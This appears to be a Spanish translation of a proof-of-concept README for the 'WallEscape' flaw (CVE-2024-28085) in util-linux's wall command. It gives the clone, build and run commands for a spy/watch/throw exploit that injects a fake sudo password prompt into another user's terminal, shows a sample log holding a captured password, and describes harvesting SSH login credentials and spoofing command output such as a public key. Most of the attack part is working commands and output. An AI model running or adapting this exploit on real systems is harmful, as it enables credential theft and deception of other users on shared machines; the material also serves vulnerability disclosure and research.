
Vulnerabilidad WallEscape en util-linux
El comando wall de util-linux no filtra las secuencias de escape de los argumentos de la línea de comandos. El código vulnerable se introdujo en el commit cdd3cc7fa4 (2013). Todas las versiones posteriores han sido vulnerables. Un informe completo se puede encontrar aquí. He apodado a este error "WallEscape".
Este código de exploit tuvo éxito en la filtración de contraseñas en Ubuntu 22.04 con configuraciones predeterminadas.
Asegúrate de que el color de fondo y el nombre de usuario estén establecidos en valores apropiados en throw.c.
Configuración del ataque
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
Usé sudo systemctl start apache2 porque es de ejecución corta y sin mucha salida.
Asegúrate de matar a spy después de que el exploit se haya ejecutado: pkill spy.
Luego, en otra terminal
sudo su
sudo systemctl start apache2
Puede que no sea necesario que la víctima llame a su dependiendo del sistema, y de si se accede localmente o mediante ssh.
Esto debería hacer que aparezca el prompt falso de sudo en la terminal de la víctima. Dado que muchos sistemas filtran comandos que no se encuentran, la contraseña de la víctima puede aparecer en proc.log.
Ejemplo de proc.log
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!
Algunas personas han malinterpretado en qué escenarios se podría usar esto para atacar a otro usuario. No necesitamos atacar a sudo; podemos atacar en cualquier lugar donde el usuario introduzca su contraseña. En mi sistema, después de que un usuario inicia sesión usando OpenSSH, se ejecuta el comando /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new.
Para filtrar contraseñas de usuarios de OpenSSH, imagina ejecutar lo siguiente:
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
Entonces podemos enviar un mensaje de «password incorrect» (contraseña incorrecta) después de que un usuario pueda iniciar sesión correctamente a través de SSH. Sudo fue solo el comando que elegí para la demo, pero hay muchos objetivos posibles. No es difícil imaginar a un atacante configurando un recolector de credenciales para cosechar las credenciales de cada usuario que inicie sesión mediante SSH. Esto es posible incluso para los usuarios con menos privilegios, como www-data.
Esta vulnerabilidad también da a los atacantes la capacidad de cambiar la salida de cualquier comando. Imagina que esperáramos al comando cat ~/.ssh/id_rsa.pub". Un atacante podría cambiar lo que el usuario copia para su clave pública. En este estilo de ataque, no necesitamos una primitiva de filtración para comandos no encontrados.